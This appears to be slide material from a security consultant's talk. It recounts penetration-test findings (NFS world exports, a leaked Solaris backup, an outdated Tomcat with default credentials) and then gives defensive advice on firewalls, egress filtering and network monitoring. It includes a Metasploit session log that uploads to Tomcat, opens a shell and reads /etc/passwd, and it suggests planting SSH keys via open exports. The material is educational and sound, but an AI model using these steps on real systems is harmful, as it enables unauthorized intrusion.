[https://cheatsheetseries.owasp.org/cheatsheets/Insecure\\_Direct\\_Object\\_Reference\\_Prevention\\_Cheat\\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html)

Hint: Do NOT put data under the web root, even though it may seem hidden

# NFS World Export



Unix has Networked File System (NFS), originally from Sun Microsystems

Configured using an export file:

```
/usr /usr/local -maproot=0:10 friends  
/usr -maproot=daemon grumpy.cis.uoguelph.ca 131.104.48.16  
/usr -ro -mapall=nobody  
/u -maproot=bin: -network=131.104.48 -mask=255.255.255.0  
/u2 -maproot=root friends  
/u2 -alldirs -network=cis-net -mask=cis-mask
```

Example from <https://man.openbsd.org/exports.5>

- Other systems mount these – NFS server export, NFS client mount
- Nice right! Except, if you leave out the hosts that can access, everyone can access!
- This is called export to the world

## Typical case



Typically customers have these world exports – with NFS or SMB

```
hkj@kate:~/results$ showmount -e 172.16.0.2
```

```
Export list for 172.16.0.2:
```

```
/home/username1 *
/tftpboot *
/home/foo/root_fs *
/var/projects/myproject *
```

- Not *that bad* – some directories are available
- Maybe we can drop a public key in /home/username1/.ssh/authorized\_keys
- Lots of personal Synology NAS boxes are on the internet, check Shodan

## Where's my backup dude - The Solaris servers



So consider what happens if you test two servers, Solaris servers in a financial institution - high profile environment

- Server 1 and server 2 are running Solaris
- Pretty unhardened configuration
- NFS is available, and server 2 has a *world export*
- Of course we try mounting it
- What is that?! It seems to be a complete backup of server1 available to everyone!

Long story short, we found the password files from server1, found users without a password – allowed direct login, we could crack other passwords – and we gained access to both servers, since some passwords were the same

This is a strange case, because making backups is great, but leaving them lying around for anyone is bad

## Tomcat in January 2022



The Apache Tomcat® software is an open source implementation of the Jakarta Servlet, Jakarta Server Pages, Jakarta Expression Language, Jakarta WebSocket, Jakarta Annotations and Jakarta Authentication specifications. These specifications are part of the Jakarta EE platform.

Source: <https://tomcat.apache.org/>

- Well-known and used in many places to deploy Java applications, great
- There are no default user, great

Wait, why does this customer in Januart 2022 have a running version 7.0.68 with user tomcat/tomcat.

This version is from 2016 - so about 7-8 years old!

## Solr January 2022



Same customer as before. Following software was identified

- Apache Solr 4.10.1 was identified  
According to the official web site for this software it was released in 2014! Release 4.10.1 [2014-09-28]
- Zookeeper 3.4.10-39d3a4f269333c922ed3db283be479f9deacaa0f (Built on 03/23/2017)
- WEBrick httpd 1.3.1 (Ruby 2.4.3 (2017-12-14))
- Nginx 1.10.3 old and Nginx 10.15.10 release in 2019 Since some are from 2017 we consider the software outdated.

# Metasploit hacking by pressing enter



```
msf > use exploit/multi/http/tomcat_mgr_upload

meterpreter > sysinfo
Computer      : solr4-prod-xxxxx.internal
OS            : Linux 4.15.0-1098-gcp (amd64)
Meterpreter   : java/linux
meterpreter > shell
Process 1 created.
Channel 1 created.

whoami
tomcat7

id
uid=114(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

- Gooooodammmmit! Its easy being a hacker I used ready made Metasploit, tomcat modules and deployed my own application that allowed command line access to the server.

# Web Application Security



We typically see:

- Libraries in web applications not updated JQuery especially
- TLS settings still have TLS version 1.0 and 1.1 enabled – recommend only 1.2 and 1.3
- Cookies without secure and -verb+http only+ flags – easy to fix
- SQL injections also still seen – 2020/2021/2022
- Old PHP versions seen PHP5 even! PHP7
- Errors shown to the user – helps an attacker prepare better requests

Some of these can be identified by just running Nikto from Kali! Do it!

# Web Application Security



Also seen in web application security testing:

- File with passwords to the solution, helpful "I left the passwords in the web root folder"
- Same server also had a nice debug.log in the root, with PHP errors so helpful for checking requests
- Webserver with PHPMyAdmin
  - 1. This admin tool for MySQL databases was on port 80
  - 2. Then on port 8080 a nice file available with password
  - 3. Return to port 80 with browser - access admin tool
  - 4. Download database, **took less than 10 minutes!**

# Keep Up to Date with technologies you use



insert picture of Homer saying duh

- Make an effort
- Be a professional

Many definitions:

A **professional** is a member of a profession or any person who works in a specified professional activity. The term also describes the **standards of education and training** that prepare members of the profession with the **particular knowledge and skills** necessary to perform their **specific role** within that profession. In addition, most professionals are subject to **strict codes of conduct**, enshrining **rigorous ethical and moral obligations**.<sup>[1]</sup> Professional standards of practice and **ethics** for a particular field are typically agreed upon and maintained through widely recognized professional associations, such as the IEEE.<sup>[2]</sup>

Source: <https://en.wikipedia.org/wiki/Professional>

- The field of IT has a lot of amateurs
- Sorry if this sound elitist, but we should take responsibility not only for ourselves but for our communities

# What you don't know can hurt you



Problem: You send personal data – GDPR

You want to have it ALL encrypted, but SMTP does NOT require encryption – or does it?!

The SMTP protocol isn't secure and wasn't designed to be. Email sent in the early days of the Internet were the digital equivalent of sending a postcard through the postal system. Eventually, Transport Layer Security (TLS) encryption was added to protect SMTP communications. But to maintain backward compatibility, it was never made compulsory and even today it's used only opportunistically by senders.

...

The SMTP MTA Strict Transport Security (MTA-STS) standard was developed to ensure that TLS is always used, and to provide a way for sending servers to refuse to deliver messages to servers that don't support TLS and have a trusted certificate. The MTA-STS standard was developed by several email industry companies brought together by the Messaging, Malware and Mobile Anti-Abuse Working Group (M3AAWG). We have been validating our implementation and are now pleased to announce support for MTA-STS for all outgoing messages from Exchange Online.

Source:

<https://techcommunity.microsoft.com/t5/exchange-team-blog/introducing-mta-sts-for-exchange-online/ba-p/3106386>

- [https://en.wikipedia.org/wiki/Opportunistic\\_encryption](https://en.wikipedia.org/wiki/Opportunistic_encryption)
- Just an example, make sure to read up on RPKI, DNSSEC, DMARC, DANE, DKIM, TLS, ...

# Hackers don't give a shit



Your system is only for testing, development, ...

Your network is a research network, under construction,  
being phased out, ...

Try something new, go to your management

Bring all the exceptions, all of them, update the risk  
analysis figures - if this happens it is about 1mill DKK

Ask for permission to go full monty on your security

**Think like attackers - don't hold back**



# Hackers don't give a shit:



KIWICON III  
28<sup>TH</sup> & 29<sup>TH</sup> NOVEMBER 2009

New Zealand's Hacker con - Wellington

- About your project's scope
- It's managed by a third party
- It's a legacy system
- It's "too critical to patch"
- About your outage windows
- About your budget
- You've always done it that way
- About your Go-Live Date
- It's only a pilot/proof of concept
- About Non-Disclosure Agreements
- It wasn't a requirement in the contract
- It's an internal system
- It's really hard to change
- It's due for replacement
- You're not sure how to fix it
- It's handled in the Cloud
- About your Risk Register entry
- The vendor doesn't support that configuration
- It's an interim solution
- It's [insert standard here] compliant
- It's encrypted on disk
- The cost benefit doesn't stack up
- "Nobody else could figure that out"
- You can't explain the risk to "The Business"
- You've got other priorities
- About your faith in the competence of your internal users
- You don't have a business justification
- You can't show Return on Investment
- You contracted out that risk

## Advice for enterprise networks



- Portscanning - start using portscans in your networks, verify how far malware and hackers can travel, and identify soft systems needing updates or isolation
- Have separation – anywhere, starting with organisation units, management networks, server networks, customers, guests, LAN, WAN, Mail, web, ...
- Use Web proxies - do not allow HTTP directly except for a short allow list, do not allow traffic to and from any new TLD
- Use only your own DNS servers, create a pair of Unbound servers, point your internal DNS running on Windows to these  
Create filtering, logging, restrictions on these Unbound DNS servers  
<https://www.nlnetlabs.nl/projects/unbound/about/> and also <https://pi-hole.net/>
- Only allow SMTP via your own mail servers, create a simple forwarder if you must  
Allow lists are better than block list, even if it takes some time to do it

# Questions?



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You are always welcome to send me questions later via email

Mobile: +45 2026 6000

Email: [hlk@zecurity.com](mailto:hlk@zecurity.com)

# Books and educational materials



- *The Linux Command Line: A Complete Introduction*, 2nd Edition  
by William Shotts, internet edition <https://sourceforge.net/projects/linuxcommand>
- *Linux Basics for Hackers Getting Started with Networking, Scripting, and Security in Kali*. OccupyTheWeb, December 2018, 248 pp. ISBN-13: 978-1-59327-855-7
- *Gray Hat Hacking: The Ethical Hacker's Handbook*, 5. ed. Allen Harper and others ISBN: 978-1-260-10841-5
- *Web Application Security*, Andrew Hoffman, 2020, ISBN: 9781492053118
- *Practical Packet Analysis, Using Wireshark to Solve Real-World Network Problems* by Chris Sanders, 3rd ed, ISBN: 978-1-59327-802-1
- *Hacking, 2nd Edition: The Art of Exploitation*, Jon Erickson, February 2008, ISBN-13: 9781593271442
- *Kali Linux Revealed Mastering the Penetration Testing Distribution*  
<https://www.kali.org/>

We teach using these books and others! Diploma in IT-security at KEA Kompetence  
<https://zencurity.gitbook.io/>

## Capture data and logs!



- Run DNS query logs – when client1 is infected with malware from domain malwareexample.com, then search for more clients infected
- Run Zeek and gather information about all HTTPS sessions – captures certificates by default, and we can again search for certificate related to malwareexample.com
- Run network logging – session logs in enterprise networks are GREAT (country wide illegal logging is of course NOT)  
Make sure to check with employees, inform them!

# DROP SOME TRAFFIC NOW



- Drop some traffic on the border of everything
- Seriously do NOT allow Windows RPC across borders
- Border here may be from regional country office back to HQ
- Border may be from internet to internal networks
- Block Windows RPC ports, 135, 137, 139, 445
- Block DNS directly to internet, do not allow clients to use any DNS, fake 8.8.8.8 if you must internally
- Block SMTP directly to internet
- Create allow list for internal networks, client networks should not contact other client networks but only relevant server networks

You DONT need to allow direct DNS towards internet, except from your own recursive DNS servers

If you get hacked by Windows RPC in 2022, you probably deserve it, sorry for being blunt

Best would be to analyze traffic and create allow lists, some internal networks to not need internet at all

# Default permit



One of the early implementers of firewalls Marcus J. Ranum summarized in 2005 The Six Dumbest Ideas in Computer Security [https://www.ranum.com/security/computer\\_security/editorials/dumb/](https://www.ranum.com/security/computer_security/editorials/dumb/) which includes the always appropriate discussion about default permit versus default deny.

## #1) Default Permit

This dumb idea crops up in a lot of different forms; it's incredibly persistent and difficult to eradicate. Why? Because it's so attractive. Systems based on "Default Permit" are the computer security equivalent of empty calories: tasty, yet fattening.

The most recognizable form in which the "Default Permit" dumb idea manifests itself is in firewall rules. Back in the very early days of computer security, network managers would set up an internet connection and decide to secure it by turning off incoming telnet, incoming rlogin, and incoming FTP. Everything else was allowed through, hence the name "Default Permit." This put the security practitioner in an endless arms-race with the hackers.

- Allow all current networks today on all ports for all protocols *is* an allow list  
Which tomorrow can be split into one for TCP, UDP and remaining, and measured upon
- Measure, improve, repeat

## We cannot do X



We cannot block SMTP from internal networks, since we do not know for sure if vendor X equipment needs to send the MOST important email alert at some unspecific time in the future

Cool, then we can do an allow list starting today on our border firewall:

```
table <smtp-exchange> { $exchange1 $exchange2 $exchange3 }
table <smtp-unknown> persist file "/firewall/mail/smtp-internal-unknown.txt"
# Regular use, allowed
pass out on egress inet proto tcp from smtp-exchange to any port 25/tcp
# Unknown, remove when phased out
pass out on egress inet proto tcp from smtp-internal to any port 25/tcp
```

Year 0 the unknown list may be 100% of all internal networks, but new networks added to infrastructure are NOT added, so list will shrink – evaluate the list, and compare to network logs, did networks send ANY SMTP for 1,2,3 years?

# Zeek is a framework and platform



## The Zeek Network Security Monitor

While focusing on network security monitoring, Zeek provides a comprehensive platform for more general network traffic analysis as well. Well grounded in more than 15 years of research, Zeek has successfully bridged the traditional gap between academia and operations since its inception.

<https://www.Zeek.org/> Does useful things out of the box using more than 10.000 script lines

# Suricata IDS/IPS/NSM



Suricata is a high performance Network IDS, IPS and Network Security Monitoring engine.

<http://suricata-ids.org/> <http://openinfosecfoundation.org>

Suricata, Zeek og DNS Capture – it a nice world, use it!

<https://github.com/kramse/security-courses/tree/master/courses/networking/suricatazeek-workshop>

## Firewall – Another definition



I am also fond of this longer and technical definition from RFC4949:

\$ firewall

1. (I) **An internetwork gateway that restricts data communication traffic to and from one of the connected networks** (the one said to be "inside" the firewall) and thus protects that network's system resources against threats from the other network (the one that is said to be "outside" the firewall). (See: guard, security gateway.)
2. (O) **A device or system that controls the flow of traffic between networks using differing security postures.** Wack, J. et al (NIST), "Guidelines on Firewalls and Firewall Policy", Special Publication 800-41, January 2002.

Tutorial: A firewall typically protects a smaller, secure network (such as a corporate LAN, or even just one host) from a larger network (such as the Internet). The firewall is installed at the point where the networks connect, and the firewall applies policy rules to control traffic that flows in and out of the protected network.

## Firewall – Another definition



\$ firewall, continued

**A firewall is not always a single computer.** For example, a firewall may consist of a pair of filtering routers and one or more proxy servers running on one or more bastion hosts, all connected to a small, dedicated LAN (see: buffer zone) between the two routers.

The external router blocks attacks that use IP to break security (IP address spoofing, source routing, packet fragments), while proxy servers block attacks that would exploit a vulnerability in a higher-layer protocol or service. The internal router blocks traffic from leaving the protected network except through the proxy servers. The difficult part is defining criteria by which packets are denied passage through the firewall, because a firewall not only needs to keep unauthorized traffic (i.e., intruders) out, but usually also needs to let authorized traffic pass both in and out.

# Routing Security



- Use MD5 passwords or better authentication for routing protocols |
- TTL Security – avoid routed packets
- Max prefix – of course, only allow expected networks
- Prefix filtering – only parts of IPv6 space is used
- TCP Authentication Option [RFC 5925] replaces TCP MD5 [RFC 2385]
- Turn ON RPKI for both IPv4 and IPv6 prefixes, |  
<https://nlnetlabs.nl/projects/rpki/about/>
- Drop bogons on IPv4 and IPv6, article with multiple references YMMV  
<https://theinternetprotocolblog.wordpress.com/2020/01/15/some-notes-on-ipv6-bogon-filtering/>

# Mutually Agreed Norms for Routing Security (MANRS)



Mutually Agreed Norms for Routing Security (MANRS) is a global initiative, supported by the Internet Society, that provides crucial fixes to reduce the most common routing threats.

Source: [https://www.manrs.org/wp-content/uploads/2018/09/MANRS\\_PDF\\_Sep2016.pdf](https://www.manrs.org/wp-content/uploads/2018/09/MANRS_PDF_Sep2016.pdf)

- Problems related to incorrect routing information
- Problems related to traffic with spoofed source IP addresses
- Problems related to coordination and collaboration between network operators
- Also BCP38 RFC2827 *Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing*

You should all ask your internet providers if they know about MANRS, and follow it. We should ask our government and institutions to support and follow MANRS and good practices for network on the Internet